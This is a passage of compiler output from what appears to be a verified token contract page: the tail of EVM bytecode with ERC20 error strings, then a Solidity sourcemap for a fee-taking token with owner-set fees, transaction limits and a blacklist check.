60a082019050614c5e6000830188613b96565b614c6b6020830187614b7c565b8181036040830152614c7d8186614beb565b9050614c8c6060830185613c4a565b614c996080830184613b96565b9695505050505050565b600060c082019050614cb86000830189613c4a565b614cc56020830188613b96565b614cd26040830187614b7c565b614cdf6060830186614b7c565b614cec6080830185613c4a565b614cf960a0830184613b96565b979650505050505050565b600081519050614d13816138f4565b92915050565b600080600060608486031215614d3257614d316138e5565b5b6000614d4086828701614d04565b9350506020614d5186828701614d04565b9250506040614d6286828701614d04565b915050925092509256fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203b0a72be7e862f5fe08377a912038d8c7cf6aee06f2f15970be1f85820cf800d64736f6c63430008090033

Deployed Bytecode Sourcemap

28114:13738:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;34461:354;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6693:99;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8853:168;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29406:63;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;33081:543;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;28188:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;28643:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7810:107;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29250:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29210;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9503:354;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;35523:124;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7653:92;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10266:217;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;28246:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;35655:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;34107:346;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;28605:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7980:126;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21138:148;;;;;;;;;;;;;:::i;:::-;;35119:144;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;32085;;;;;;;;;;;;;:::i;:::-;;20497:78;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;33998:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6911:103;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29476:58;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;35273:240;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10986:268;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8319:174;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29692:57;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;34829:132;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;33634:268;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;29899:23;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;28983:206;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;:::i;:::-;;;;;;;;32310:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8556:150;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;32474:595;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;34967:146;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;21441:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;34461:354;20718:12;:10;:12::i;:::-;20708:22;;:6;;;;;;;;;;;:22;;;20700:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;34586:13:::1;34561:5;:22;;:38;;;;34635:13;34610:5;:22;;:38;;;;34706:5;:22;;;34681:5;:22;;;:47;;;;:::i;:::-;34659:5;:19;;:69;;;;34771:2;34747:5;:19;;;:26;;34739:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;34461:354:::0;;:::o;6693:99::-;6746:13;6779:5;6772:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6693:99;:::o;8853:168::-;8935:4;8952:39;8961:12;:10;:12::i;:::-;8975:7;8984:6;8952:8;:39::i;:::-;9009:4;9002:11;;8853:168;;;;:::o;29406:63::-;;;;;;;;;;;;;;;;;;;;;;:::o;33081:543::-;20718:12;:10;:12::i;:::-;20708:22;;:6;;;;;;;;;;;:22;;;20700:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;33261:4:::1;33245:13;:11;:13::i;:::-;:20;;;;:::i;:::-;33235:4;33216:15;33200:13;:11;:13::i;:::-;:31;;;;:::i;:::-;33199:40;;;;:::i;:::-;33198:68;;33190:129;;;;;;;;;;;;:::i;:::-;;;;;;;;;33402:4;33386:13;:11;:13::i;:::-;:20;;;;:::i;:::-;33376:4;33356:16;33340:13;:11;:13::i;:::-;:32;;;;:::i;:::-;33339:41;;;;:::i;:::-;33338:69;;33330:130;;;;;;;;;;;;:::i;:::-;;;;;;;;;33533:4;33514:15;33498:13;:11;:13::i;:::-;:31;;;;:::i;:::-;33497:40;;;;:::i;:::-;33471:23;:66;;;;33612:4;33592:16;33576:13;:11;:13::i;:::-;:32;;;;:::i;:::-;33575:41;;;;:::i;:::-;33548:24;:68;;;;33081:543:::0;;:::o;28188:51::-;;;:::o;28643:20::-;;;;;;;;;;;;;:::o;7810:107::-;7870:7;7897:12;;7890:19;;7810:107;:::o;29250:33::-;;;;:::o;29210:::-;;;;:::o;9503:354::-;9642:4;9659:36;9669:6;9677:9;9688:6;9659:9;:36::i;:::-;9706:121;9715:6;9723:12;:10;:12::i;:::-;9737:89;9775:6;9737:89;;;;;;;;;;;;;;;;;:11;:19;9749:6;9737:19;;;;;;;;;;;;;;;:33;9757:12;:10;:12::i;:::-;9737:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;9706:8;:121::i;:::-;9845:4;9838:11;;9503:354;;;;;:::o;35523:124::-;20718:12;:10;:12::i;:::-;20708:22;;:6;;;;;;;;;;;:22;;;20700:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;35621:18:::1;35603:15;;:36;;;;;;;;;;;;;;;;;;35523:124:::0;:::o;7653:92::-;7710:5;7735:2;7728:9;;7653:92;:::o;10266:217::-;10353:4;10370:83;10379:12;:10;:12::i;:::-;10393:7;10402:50;10441:10;10402:11;:25;10414:12;:10;:12::i;:::-;10402:25;;;;;;;;;;;;;;;:34;10428:7;10402:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;10370:8;:83::i;:::-;10471:4;10464:11;;10266:217;;;;:::o;28246:38::-;;;:::o;35655:125::-;35720:4;35744:19;:28;35764:7;35744:28;;;;;;;;;;;;;;;;;;;;;;;;;35737:35;;35655:125;;;:::o;34107:346::-;20718:12;:10;:12::i;:::-;20708:22;;:6;;;;;;;;;;;:22;;;20700:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;34230:13:::1;34206:5;:21;;:37;;;;34278:13;34254:5;:21;;:37;;;;34347:5;:21;;;34323:5;:21;;;:45;;;;:::i;:::-;34302:5;:18;;:66;;;;34409:2;34387:5;:18;;;:24;;34379:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;34107:346:::0;;:::o;28605:31::-;;;;;;;;;;;;;:::o;7980:126::-;8053:7;8080:9;:18;8090:7;8080:18;;;;;;;;;;;;;;;;8073:25;;7980:126;;;:::o;21138:148::-;20718:12;:10;:12::i;:::-;20708:22;;:6;;;;;;;;;;;:22;;;20700:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;21245:1:::1;21208:40;;21229:6;;;;;;;;;;;21208:40;;;;;;;;;;;;21276:1;21259:6;;:19;;;;;;;;;;;;;;;;;;21138:148::o:0;35119:144::-;20718:12;:10;:12::i;:::-;20708:22;;:6;;;;;;;;;;;:22;;;20700:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;35251:4:::1;35209:31;:39;35241:6;35209:39;;;;;;;;;;;;;;;;:46;;;;;;;;;;;;;;;;;;35119:144:::0;;:::o;32085:::-;20718:12;:10;:12::i;:::-;20708:22;;:6;;;;;;;;;;;:22;;;20700:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;32156:4:::1;32140:13;;:20;;;;;;;;;;;;;;;;;;32185:4;32171:11;;:18;;;;;;;;;;;;;;;;;;32209:12;32202:4;:19;;;;32085:144::o:0;20497:78::-;20534:7;20561:6;;;;;;;;;;;20554:13;;20497:78;:::o;33998:101::-;20718:12;:10;:12::i;:::-;20708:22;;:6;;;;;;;;;;;:22;;;20700:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;34084:7:::1;34070:11;;:21;;;;;;;;;;;;;;;;;;33998:101:::0;:::o;6911:103::-;6966:13;6999:7;6992:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6911:103;:::o;29476:58::-;;;;;;;;;;;;;;;;;;;;;;:::o;35273:240::-;20718:12;:10;:12::i;:::-;20708:22;;:6;;;;;;;;;;;:22;;;20700:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;35380:13:::1;35372:21;;:4;:21;;;;35364:91;;;;;;;;;;;;:::i;:::-;;;;;;;;;35500:5;35466:25;:31;35492:4;35466:31;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;35273:240:::0;;:::o;10986:268::-;11078:4;11095:129;11104:12;:10;:12::i;:::-;11118:7;11127:96;11166:15;11127:96;;;;;;;;;;;;;;;;;:11;:25;11139:12;:10;:12::i;:::-;11127:25;;;;;;;;;;;;;;;:34;11153:7;11127:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;11095:8;:129::i;:::-;11242:4;11235:11;;10986:268;;;;:::o;8319:174::-;8404:4;8421:42;8431:12;:10;:12::i;:::-;8445:9;8456:6;8421:9;:42::i;:::-;8481:4;8474:11;;8319:174;;;;:::o;29692:57::-;;;;;;;;;;;;;;;;;;;;;;:::o;34829:132::-;20718:12;:10;:12::i;:::-;20708:22;;:6;;;;;;;;;;;:22;;;20700:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;34945:8:::1;34914:19;:28;34934:7;34914:28;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;34829:132:::0;;:::o;33634:268::-;20718:12;:10;:12::i;:::-;20708:22;;:6;;;;;;;;;;;:22;;;20700:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;33787:4:::1;33771:13;:11;:13::i;:::-;:20;;;;:::i;:::-;33761:4;33744:13;33728;:11;:13::i;:::-;:29;;;;:::i;:::-;33727:38;;;;:::i;:::-;33726:66;;33718:115;;;;;;;;;;;;:::i;:::-;;;;;;;;;33890:4;33873:13;33857;:11;:13::i;:::-;:29;;;;:::i;:::-;33856:38;;;;:::i;:::-;33844:9;:50;;;;33634:268:::0;:::o;29899:23::-;;;;;;;;;;;;;:::o;28983:206::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;32310:156::-;32390:4;20718:12;:10;:12::i;:::-;20708:22;;:6;;;;;;;;;;;:22;;;20700:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;32427:9:::1;32406:18;:30;;;;32454:4;32447:11;;32310:156:::0;;;:::o;8556:150::-;8644:7;8671:11;:18;8683:5;8671:18;;;;;;;;;;;;;;;:27;8690:7;8671:27;;;;;;;;;;;;;;;;8664:34;;8556:150;;;;:::o;32474:595::-;32599:8;;;;;;;;;;;32587:20;;:10;:20;;;32579:45;;;;;;;;;;;;:::i;:::-;;;;;;;;;32706:4;32690:13;:11;:13::i;:::-;:20;;;;:::i;:::-;32680:4;32661:15;32645:13;:11;:13::i;:::-;:31;;;;:::i;:::-;32644:40;;;;:::i;:::-;32643:68;;32635:129;;;;;;;;;;;;:::i;:::-;;;;;;;;;32847:4;32831:13;:11;:13::i;:::-;:20;;;;:::i;:::-;32821:4;32801:16;32785:13;:11;:13::i;:::-;:32;;;;:::i;:::-;32784:41;;;;:::i;:::-;32783:69;;32775:130;;;;;;;;;;;;:::i;:::-;;;;;;;;;32978:4;32959:15;32943:13;:11;:13::i;:::-;:31;;;;:::i;:::-;32942:40;;;;:::i;:::-;32916:23;:66;;;;33057:4;33037:16;33021:13;:11;:13::i;:::-;:32;;;;:::i;:::-;33020:41;;;;:::i;:::-;32993:24;:68;;;;32474:595;;:::o;34967:146::-;20718:12;:10;:12::i;:::-;20708:22;;:6;;;;;;;;;;;:22;;;20700:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;35097:8:::1;35059:26;:35;35086:7;35059:35;;;;;;;;;;;;;;;;:46;;;;;;;;;;;;;;;;;;34967:146:::0;;:::o;21441:244::-;20718:12;:10;:12::i;:::-;20708:22;;:6;;;;;;;;;;;:22;;;20700:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;21550:1:::1;21530:22;;:8;:22;;;;21522:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;21640:8;21611:38;;21632:6;;;;;;;;;;;21611:38;;;;;;;;;;;;21669:8;21660:6;;:17;;;;;;;;;;;;;;;;;;21441:244:::0;:::o;15551:180::-;15608:7;15628:9;15644:1;15640;:5;;;;:::i;:::-;15628:17;;15669:1;15664;:6;;15656:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;15722:1;15715:8;;;15551:180;;;;:::o;95:97::-;147:7;174:10;167:17;;95:97;:::o;14171:380::-;14324:1;14307:19;;:5;:19;;;;14299:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;14405:1;14386:21;;:7;:21;;;;14378:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;14489:6;14459:11;:18;14471:5;14459:18;;;;;;;;;;;;;;;:27;14478:7;14459:27;;;;;;;;;;;;;;;:36;;;;14527:7;14511:32;;14520:5;14511:32;;;14536:6;14511:32;;;;;;:::i;:::-;;;;;;;;14171:380;;;:::o;35788:3553::-;35936:1;35920:18;;:4;:18;;;;35912:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;36013:1;35999:16;;:2;:16;;;;35991:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;36090:6;36074:23;;:4;:23;;;;36066:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;36172:6;36158:21;;:2;:21;;;;36150:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;36239:10;:14;36250:2;36239:14;;;;;;;;;;;;;;;;;;;;;;;;;36238:15;:36;;;;;36258:10;:16;36269:4;36258:16;;;;;;;;;;;;;;;;;;;;;;;;;36257:17;36238:36;36230:98;;;;;;;;;;;;:::i;:::-;;;;;;;;;36363:1;36353:6;:11;36349:93;;;36381:28;36397:4;36403:2;36407:1;36381:15;:28::i;:::-;36424:7;;36349:93;36480:7;:5;:7::i;:::-;36472:15;;:4;:15;;;;:45;;;;;36510:7;:5;:7::i;:::-;36504:13;;:2;:13;;;;36472:45;:71;;;;;36535:8;;;;;;;;;;;36534:9;36472:71;36454:932;;;36575:13;;;;;;;;;;;36570:142;;36617:19;:25;36637:4;36617:25;;;;;;;;;;;;;;;;;;;;;;;;;:52;;;;36646:19;:23;36666:2;36646:23;;;;;;;;;;;;;;;;;;;;;;;;;36617:52;36609:87;;;;;;;;;;;;:::i;:::-;;;;;;;;;36570:142;36756:25;:31;36782:4;36756:31;;;;;;;;;;;;;;;;;;;;;;;;;:71;;;;;36792:31;:35;36824:2;36792:35;;;;;;;;;;;;;;;;;;;;;;;;;36791:36;36756:71;36752:470;;;36866:23;;36856:6;:33;;36848:99;;;;;;;;;;;;:::i;:::-;;;;;;;;;36752:470;;;37013:25;:29;37039:2;37013:29;;;;;;;;;;;;;;;;;;;;;;;;;:71;;;;;37047:31;:37;37079:4;37047:37;;;;;;;;;;;;;;;;;;;;;;;;;37046:38;37013:71;37009:213;;;37123:24;;37113:6;:34;;37105:101;;;;;;;;;;;;:::i;:::-;;;;;;;;;37009:213;36752:470;37241:26;:30;37268:2;37241:30;;;;;;;;;;;;;;;;;;;;;;;;;37236:139;;37326:9;;37309:13;37319:2;37309:9;:13::i;:::-;37300:6;:22;;;;:::i;:::-;:35;;37292:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;37236:139;36454:932;37412:28;37443:24;37461:4;37443:9;:24::i;:::-;37412:55;;37481:12;37520:18;;37496:20;:42;;37481:57;;37569:7;:35;;;;;37593:11;;;;;;;;;;;37569:35;:61;;;;;37622:8;;;;;;;;;;;37621:9;37569:61;:107;;;;;37647:25;:29;37673:2;37647:29;;;;;;;;;;;;;;;;;;;;;;;;;37569:107;:150;;;;;37694:19;:25;37714:4;37694:25;;;;;;;;;;;;;;;;;;;;;;;;;37693:26;37569:150;:191;;;;;37737:19;:23;37757:2;37737:23;;;;;;;;;;;;;;;;;;;;;;;;;37736:24;37569:191;37551:323;;;37798:4;37787:8;;:15;;;;;;;;;;;;;;;;;;37819:10;:8;:10::i;:::-;37857:5;37846:8;;:16;;;;;;;;;;;;;;;;;;37551:323;37887:12;37903:8;;;;;;;;;;;37902:9;37887:24;;38013:19;:25;38033:4;38013:25;;;;;;;;;;;;;;;;;;;;;;;;;:52;;;;38042:19;:23;38062:2;38042:23;;;;;;;;;;;;;;;;;;;;;;;;;38013:52;38009:100;;;38092:5;38082:15;;38009:100;38122:12;38227:7;38223:1065;;;38287:1;38282:4;;:6;;;;:::i;:::-;38268:12;:21;38265:872;;;38316:23;38335:3;38316:14;38327:2;38316:6;:10;;:14;;;;:::i;:::-;:18;;:23;;;;:::i;:::-;38309:30;;38380:4;38358:18;;:26;;;;;;;:::i;:::-;;;;;;;;38265:872;;;38447:25;:29;38473:2;38447:29;;;;;;;;;;;;;;;;;;;;;;;;;:56;;;;;38502:1;38480:5;:19;;;:23;38447:56;38443:694;;;38531:40;38567:3;38531:31;38542:5;:19;;;38531:6;:10;;:31;;;;:::i;:::-;:35;;:40;;;;:::i;:::-;38524:47;;38644:5;:19;;;38619:5;:22;;;38612:4;:29;;;;:::i;:::-;:51;;;;:::i;:::-;38590:18;;:73;;;;;;;:::i;:::-;;;;;;;;38736:5;:19;;;38711:5;:22;;;38704:4;:29;;;;:::i;:::-;:51;;;;:::i;:::-;38682:18;;:73;;;;;;;:::i;:::-;;;;;;;;38443:694;;;38817:25;:31;38843:4;38817:31;;;;;;;;;;;;;;;;;;;;;;;;;:57;;;;;38873:1;38852:5;:18;;;:22;38817:57;38813:324;;;38902:39;38937:3;38902:30;38913:5;:18;;;38902:6;:10;;:30;;;;:::i;:::-;:34;;:39;;;;:::i;:::-;38895:46;;39013:5;:18;;;38989:5;:21;;;38982:4;:28;;;;:::i;:::-;:49;;;;:::i;:::-;38960:18;;:71;;;;;;;:::i;:::-;;;;;;;;39103:5;:18;;;39079:5;:21;;;39072:4;:28;;;;:::i;:::-;:49;;;;:::i;:::-;39050:18;;:71;;;;;;;:::i;:::-;;;;;;;;38813:324;38443:694;38265:872;39164:1;39157:4;:8;39153:91;;;39186:42;39202:4;39216;39223;39186:15;:42::i;:::-;39153:91;39270:4;39260:14;;;;;:::i;:::-;;;38223:1065;39300:33;39316:4;39322:2;39326:6;39300:15;:33::i;:::-;35901:3440;;;;35788:3553;;;;:::o;16452:191::-;16537:7;16570:1;16565;:6;;16573:12;16557:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;16597:9;16613:1;16609;:5;;;;:::i;:::-;16597:17;;16634:1;16627:8;;;16452:191;;;;;:::o;11744:573::-;11902:1;11884:20;;:6;:20;;;;11876:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;11986:1;11965:23;;:9;:23;;;;11957:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;12041:47;12062:6;12070:9;12081:6;12041:20;:47::i;:::-;12121:71;12143:6;12121:71;;;;;;;;;;;;;;;;;:9;:17;12131:6;12121:17;;;;;;;;;;;;;;;;:21;;:71;;;;;:::i;:::-;12101:9;:17;12111:6;12101:17;;;;;;;;;;;;;;;:91;;;;12226:32;12251:6;12226:9;:20;12236:9;12226:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;12203:9;:20;12213:9;12203:20;;;;;;;;;;;;;;;:55;;;;12291:9;12274:35;;12283:6;12274:35;;;12302:6;12274:35;;;;;;:::i;:::-;;;;;;;;11744:573;;;:::o;40480:1367::-;40519:23;40545:24;40563:4;40545:9;:24::i;:::-;40519:50;;40580:25;40629:18;;40608;;:39;;;;:::i;:::-;40580:67;;40659:12;40707:1;40688:15;:20;:46;;;;40733:1;40712:17;:22;40688:46;40684:63;;;40738:7;;;;;40684:63;40802:2;40781:18;;:23;;;;:::i;:::-;40763:15;:41;40759:115;;;40860:2;40839:18;;:23;;;;:::i;:::-;40821:41;;40759:115;40935:23;41020:1;41000:17;40979:18;;40961:15;:36;;;;:::i;:::-;:56;;;;:::i;:::-;:60;;;;:::i;:::-;40935:86;;41032:26;41061:36;41081:15;41061;:19;;:36;;;;:::i;:::-;41032:65;;41111:25;41139:21;41111:49;;41173:36;41190:18;41173:16;:36::i;:::-;41224:18;41245:44;41271:17;41245:21;:25;;:44;;;;:::i;:::-;41224:65;;41303:23;41329:57;41368:17;41329:34;41344:18;;41329:10;:14;;:34;;;;:::i;:::-;:38;;:57;;;;:::i;:::-;41303:83;;41397:23;41436:15;41423:10;:28;;;;:::i;:::-;41397:54;;41487:1;41466:18;:22;;;;41520:1;41499:18;:22;;;;41558:1;41540:15;:19;:42;;;;;41581:1;41563:15;:19;41540:42;41536:212;;;41599:46;41612:15;41629;41599:12;:46::i;:::-;41665:71;41680:18;41700:15;41717:18;;41665:71;;;;;;;;:::i;:::-;;;;;;;;41536:212;41781:15;;;;;;;;;;;41773:29;;41811:21;41773:66;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;41760:79;;;;;40508:1339;;;;;;;;;40480:1367;:::o;16902:471::-;16959:7;17209:1;17204;:6;17200:47;;;17234:1;17227:8;;;;17200:47;17260:9;17276:1;17272;:5;;;;:::i;:::-;17260:17;;17305:1;17300;17296;:5;;;;:::i;:::-;:10;17288:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;17364:1;17357:8;;;16902:471;;;;;:::o;17849:131::-;17906:7;17933:39;17937:1;17940;17933:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;17926:46;;17849:131;;;;:::o;15154:126::-;;;;:::o;16014:135::-;16071:7;16098:43;16102:1;16105;16098:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;16091:50;;16014:135;;;;:::o;39349:593::-;39477:21;39515:1;39501:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;39477:40;;39546:4;39528;39533:1;39528:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;39572:15;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;39562:4;39567:1;39562:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;;;39607:62;39624:4;39639:15;39657:11;39607:8;:62::i;:::-;39708:15;:66;;;39789:11;39815:1;39859:4;39886;39906:15;39708:224;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;39404:538;39349:593;:::o;39950:522::-;40098:62;40115:4;40130:15;40148:11;40098:8;:62::i;:::-;40203:15;:31;;;40243:9;40278:4;40298:11;40324:1;40367;40418:4;40438:15;40203:261;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;39950:522;;:::o;18476:277::-;18561:7;18593:1;18589;:5;18596:12;18581:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;18620:9;18636:1;18632;:5;;;;:::i;:::-;18620:17;;18744:1;18737:8;;;18476:277;;;;;:::o;88:117:1:-;197:1;194;187:12;334:77;371:7;400:5;389:16;;334:77;;;:::o;417:122::-;490:24;508:5;490:24;:::i;:::-;483:5;480:35;470:63;;529:1;526;519:12;470:63;417:122;:::o;545:139::-;591:5;629:6;616:20;607:29;;645:33;672:5;645:33;:::i;:::-;545:139;;;;:::o;690:474::-;758:6;766;815:2;803:9;794:7;790:23;786:32;783:119;;;821:79;;:::i;:::-;783:119;941:1;966:53;1011:7;1002:6;991:9;987:22;966:53;:::i;:::-;956:63;;912:117;1068:2;1094:53;1139:7;1130:6;1119:9;1115:22;1094:53;:::i;:::-;1084:63;;1039:118;690:474;;;;;:::o;1170:99::-;1222:6;1256:5;1250:12;1240:22;;1170:99;;;:::o;1275:169::-;1359:11;1393:6;1388:3;1381:19;1433:4;1428:3;1424:14;1409:29;;1275:169;;;;:::o;1450:307::-;1518:1;1528:113;1542:6;1539:1;1536:13;1528:113;;;1627:1;1622:3;1618:11;1612:18;1608:1;1603:3;1599:11;1592:39;1564:2;1561:1;1557:10;1552:15;;1528:113;;;1659:6;1656:1;1653:13;1650:101;;;1739:1;1730:6;1725:3;1721:16;1714:27;1650:101;1499:258;1450:307;;;:::o;1763:102::-;1804:6;1855:2;1851:7;1846:2;1839:5;1835:14;1831:28;1821:38;;1763:102;;;:::o;1871:364::-;1959:3;1987:39;2020:5;1987:39;:::i;:::-;2042:71;2106:6;2101:3;2042:71;:::i;:::-;2035:78;;2122:52;2167:6;2162:3;2155:4;2148:5;2144:16;2122:52;:::i;:::-;2199:29;2221:6;2199:29;:::i;:::-;2194:3;2190:39;2183:46;;1963:272;1871:364;;;;:::o;2241:313::-;2354:4;2392:2;2381:9;2377:18;2369:26;;2441:9;2435:4;2431:20;2427:1;2416:9;2412:17;2405:47;2469:78;2542:4;2533:6;2469:78;:::i;:::-;2461:86;;2241:313;;;;:::o;2560:126::-;2597:7;2637:42;2630:5;2626:54;2615:65;;2560:126;;;:::o;2692:96::-;2729:7;2758:24;2776:5;2758:24;:::i;:::-;2747:35;;2692:96;;;:::o;2794:122::-;2867:24;2885:5;2867:24;:::i;:::-;2860:5;2857:35;2847:63;;2906:1;2903;2896:12;2847:63;2794:122;:::o;2922:139::-;2968:5;3006:6;2993:20;2984:29;;3022:33;3049:5;3022:33;:::i;:::-;2922:139;;;;:::o;3067:474::-;3135:6;3143;3192:2;3180:9;3171:7;3167:23;3163:32;3160:119;;;3198:79;;:::i;:::-;3160:119;3318:1;3343:53;3388:7;3379:6;3368:9;3364:22;3343:53;:::i;:::-;3333:63;;3289:117;3445:2;3471:53;3516:7;3507:6;3496:9;3492:22;3471:53;:::i;:::-;3461:63;;3416:118;3067:474;;;;;:::o;3547:90::-;3581:7;3624:5;3617:13;3610:21;3599:32;;3547:90;;;:::o;3643:109::-;3724:21;3739:5;3724:21;:::i;:::-;3719:3;3712:34;3643:109;;:::o;3758:210::-;3845:4;3883:2;3872:9;3868:18;3860:26;;3896:65;3958:1;3947:9;3943:17;3934:6;3896:65;:::i;:::-;3758:210;;;;:::o;3974:329::-;4033:6;4082:2;4070:9;4061:7;4057:23;4053:32;4050:119;;;4088:79;;:::i;:::-;4050:119;4208:1;4233:53;4278:7;4269:6;4258:9;4254:22;4233:53;:::i;:::-;4223:63;;4179:117;3974:329;;;;:::o;4309:60::-;4337:3;4358:5;4351:12;;4309:60;;;:::o;4375:142::-;4425:9;4458:53;4476:34;4485:24;4503:5;4485:24;:::i;:::-;4476:34;:::i;:::-;4458:53;:::i;:::-;4445:66;;4375:142;;;:::o;4523:126::-;4573:9;4606:37;4637:5;4606:37;:::i;:::-;4